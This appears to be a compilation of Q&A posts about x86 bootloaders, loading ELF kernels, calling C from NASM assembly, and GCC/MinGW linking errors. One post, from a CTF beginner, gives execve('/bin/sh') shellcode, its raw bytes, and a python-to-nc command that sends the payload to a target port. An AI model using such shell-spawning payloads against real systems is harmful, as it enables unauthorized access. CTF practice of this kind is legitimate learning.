Loading elf-i386 from my boot loader - c

I am doing operating system project, until now I have my bootloader running. I can load binary file using bios interuppt, but I am unable to load and call C function from ELF file format:
Here is my C program that I want to finally execute:
//build :: cc -m32 -nostdlib -nostdinc -fno-builtin -fno-stack-protector -c -o kmain.o kmain.c
void kmain(){
int a = 5;
for(;;);
}
Here is assembly code to call kmain()
; build :: nasm -f elf loader.asm
[BITS 32]
[GLOBAL start]
[EXTERN kmain]
section .text
start:
mov eax, 0
call kmain
This is my linker script
ENTRY(start)
and this how I am linking everything together
ld -m elf_i386 -T link.ld -o kernel loader.o kmain.o
Now to call start from my bootloader, I am using e_entry offset field from elf header( 24 byte away from starting address) :
xor edx, edx
mov edx, 24
add edx, IMAGE_PMODE_BASE
add ebx, dword[edx]
add ebx, IMAGE_PMODE_BASE
call ebx
where IMAGE_PMODE_BASE is address of elf file loaded in memory.
My question is "Is This the correct way of loading and calling a function in C in ELF file format?".
Thank you for reading, please help.

Related

How to inject Shellcode in function pointer in C?

I am a Shellcode beginner and I started some CTFs.
But I am stuck at the most basic exercise.
Let's say I have a program. This program gives me the pointer address of execve : 0x8048450
Let's say there is a char array "\bin\sh" of which I also have the address : 0x80486a5
The vulnerable code is :
char input[4096];
read(0, input, 4096);
((func)&input)();
The problem is that I do not have many information on the architecture targeted because I have no binary but I think it is 32-bit.
Here is my code :
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov eax, 0x80486a5
push eax
call 0x8048450
Then I run :
nasm -f elf -o shellcode.o shellcode.asm
and
ld -o shellcode shellcode.o -m elf_i386
Which gives
\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00
I execute
python -c "print('\xde\xde\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb8\xa5\x86\x04\x08\x50\xe8\xdd\x03\x00\x00')" | nc target port
but nothing.
Do I have to put a NOP sled to fulfill the byte array ?
Thank you for reading me !

Interfacing C functions with asm code at booting level?

I am following a tutorial about creating a 32bit operating system. I have managed to switch to the 32bit protected mode happily but could not get further.
Below, boot_sect.asm is the main assembly code. After switching to protected mode inside boot_sect.asm, an external C function (kmain) is called via kernel_entry.asm (calls the c function) from boot_sect.asm. The location of the C function in the ram is 0x1000000.
The kmain() is supposed to print an x on the screen. However, this does not happen. Indeed, to diagnose the code, I put an infinite while loop inside the kmain(), but the program did not hang there; instead it directly ended. I guess the files are not linked properly or there is a memory overlap problem. I could not get any further, and I am stuck at this point.
I would appreciate any idea or help to get over this step.
boot_sect.asm (the main asm code)
; A boot sector that boots a C kernel in 32-bit protected mode
[bits 16]
[org 0x7c00]
KERNEL_OFFSET equ 0x100000 ; This is the memory offset to where kernel will be loaded
mov [BOOT_DRIVE], dl
mov bp, 0x9000 ; stack origin.
mov sp, bp
mov bx, MSG_REAL_MODE ;print that we are starting
call print_string ; booting from 16-bit real mode
call load_kernel ; Load our kernel
call switch_to_pm ; Switch to protected mode, from which
; we will not return
jmp $
; Include our useful , hard-earned routines
%include "print/print_string.asm"
%include "disk/disk_load.asm"
%include "pm/gdt.asm"
%include "pm/print_string_pm.asm"
%include "pm/switch_to_pm.asm"
[bits 16]
; load_kernel
load_kernel:
mov bx, MSG_LOAD_KERNEL ; Print a message to say we are loading the kernel
call print_string
mov bx, KERNEL_OFFSET ; Set-up parameters for our disk_load routine , so
mov dh, 15 ; that we load the first 15 sectors (excluding
mov dl, [BOOT_DRIVE] ; the boot sector) from the boot disk (i.e. our
call disk_load ; kernel code) to address KERNEL_OFFSET
ret
[bits 32]
BEGIN_PM:
mov ebx, MSG_PROT_MODE ; Use 32-bit print routine to
call print_string_pm ; announce its in protected mode
;the program manages to come here perfectly.
;here the kmain() function is called via kernel_entry.asm
;but after this call, the program gets "lost", it ends somehow.
call KERNEL_OFFSET
;it cant even get here, it ends before getting here. Probably the kmain() is not located at KERNEL_OFFSET due to a problem.
jmp $ ;Hang.
; Global variables
BOOT_DRIVE db 0
MSG_REAL_MODE db "Started in 16-bit Real Mode", 0
MSG_PROT_MODE db "Successfully landed in 32-bit Protected Mode", 0
MSG_LOAD_KERNEL db "Loading kernel into memory.", 0
; Bootsector padding
times 510-($-$$) db 0
dw 0xaa55
kernel.c (c code)
void kmain()
{
char* screen = (char*)0xb8000;
screen[0] = 'X';
}
kernel_entry.asm (calls the c code)
[bits 32]
[extern _kmain]
call _kmain
jmp $
Finally, to obtain the os-image , I used the following commands
kernel.c and kernel_entry.asm are converted to object files (nasm and gcc commands), then they are linked to create kernel.bin file (by using ld command and the address 0x100000 of the kmain()).
Then kernel.bin and boot_sect.bin are combined using type command to obtain an os image.
gcc -m32 -ffreestanding -c kernel.c -o kernel.o
nasm kernel_entry.asm -f elf -o kernel_entry.o
ld -m i386pe -T NUL -o kernel.bin -Ttext-segment 0x100000 kernel_entry.o kernel.o
nasm boot_sect.asm -f bin -o boot_sect.bin
type boot_sect.bin kernel.bin > os-image

Using custom main loader with GCC

I wrote the following loader:
GLOBAL _start
EXTERN main
section .text
_start:
xor ebp, ebp ; ebp = 0
pop esi ; esi = argc
mov ecx, esp ; ecx = argv
and esp, 0xFFFF ; align esp
push ecx ; load argv
push esi ; load argc
call main ; call main
push eax ; exit with main's ret value
mov ebx,0
int 80h
And a short main function, now I'm trying to run compile and link these files using gcc, but using the commands
nasm -f elf32 loader.asm
gcc -c -m32 main.c
gcc -m32 main.o loader.o -o main.out
Results in a multiple definition of _start error. I imagine this is because gcc is trying to link his own _start. How can I prevent this from happening?
You haven't told GCC to not link to the standard startup code, so GCC links to it.
To tell GCC to not link in _start, pass in the -nostartfiles flag to GCC when linking.
Note that the standard libraries (stdlib, stdio, etc) will still be linked in, unless you also use the -nodefaultlibs flag. The -nostdlib flag combines the two.

How to specify Win32 as output when invoking GCC using MinGW on Windows

How to specify Win32 as output when invoking GCC using MinGW on Windows.
Below I've posted my source code. My objective is to interface assembly with C code and produce an executable.
I start assembling the add.asm to Win32 using the following NASM command:
nasm -f win32 add.asm
Then it should be possible to invoke GCC using both C and object files?
gcc -o add add.obj call_asm.c
However, this results in an a linkage error:
C:\Users\nze\AppData\Local\Temp\cckUvRyC.o:call_asm.c:(.text+0x1e): undefined reference to `add'
collect2.exe: error: ld returned 1 exit status
If I instead compile to ELF using
nasm -f elf add.asm
the command (this time using the ELF file add.o)
gcc -o add add.o call_asm.c
works perfectly.
How can I tell GCC that my object files are in Win32 format, so that it should compile call_asm.c to Win32 before linking? (I guess this is the core of the problem, please comment whether I'm correct).
call_add.c:
#include <stdio.h>
extern int add(int a, int b);
int main()
{
printf("%d", add(7, 6));
}
add.asm:
BITS 32
global _add
_add:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ebx, [ebp+12]
add eax, ebx
mov esp, ebp
pop ebp
ret
The problem isn't what you assume it is. GCC is generating "win32" format (more commonly know as PECOFF) object files. The problem is that your assembly code doesn't define a section, and this results in NASM not defining the symbol _add in the generated object file.
If you add a SECTION directive your code links and runs without error:
BITS 32
SECTION .text
global _add
_add:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ebx, [ebp+12]
add eax, ebx
mov esp, ebp
pop ebp
ret
Telling NASM to generate and ELF object file changes its behaviour, for whatever reason, and causes it to define the _add symbol in the ELF object file.
Just add this before the label:
.globl _add
To get that symbol to export in a .DLL you should add this at the end of the file:
.section .drectve
.ascii " -export:\"add\""
Note that the leading underscore is left out.

Assembly function call from c

I cannot combine my kernel_entry.asm and main.c. My main.c calls an asm function Sum. Both nasm and gcc compiles respective files. However, the linker gives an error.
Kernel_entry.asm:
[bits 32]
[extern _start]
[global _Sum]
....
_Sum:
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [ebp+12]
add eax, ecx
pop ebp
ret
main.c:
....
extern int Sum();
void start() {
....
int x = Sum(4, 5);
....
}
To compile source files, I use following commands:
nasm kernel_entry.asm -f win32 -o kernel_entry.o
gcc -ffreestanding -c main.c -o main.o
....
ld -T NUL -o kernel.tmp -Ttext 0x1000 kernel_entry.o main.o mem.o port_in_out.o screen.o idt.o
Linker gives following error:main.o:main.c:(.text+0xa82): undifened reference to 'Sum'. I tried everything but couldn't find any solution. When I remove asm function call from main.c, it works.
The TL;DR version of the answer is that mixing nasm's -f win32 generates an object file that is not compatible with the GNU toolchain on Windows - you need to use -f elf if you want to link using ld. That is described in NASM's documentation here under sections 7.5 and 7.9.
The hint for me was that by running nm kernel_entry.o generated:
00000000 a .absolut
00000000 t .text
00000001 a #feat.00
U _start
U _Sum
Which basically shows Sum as an undefined symbol. After compiling as ELF, I got:
U _start
00000000 T _Sum
indicating Sum as a recognised symbol in the text section.

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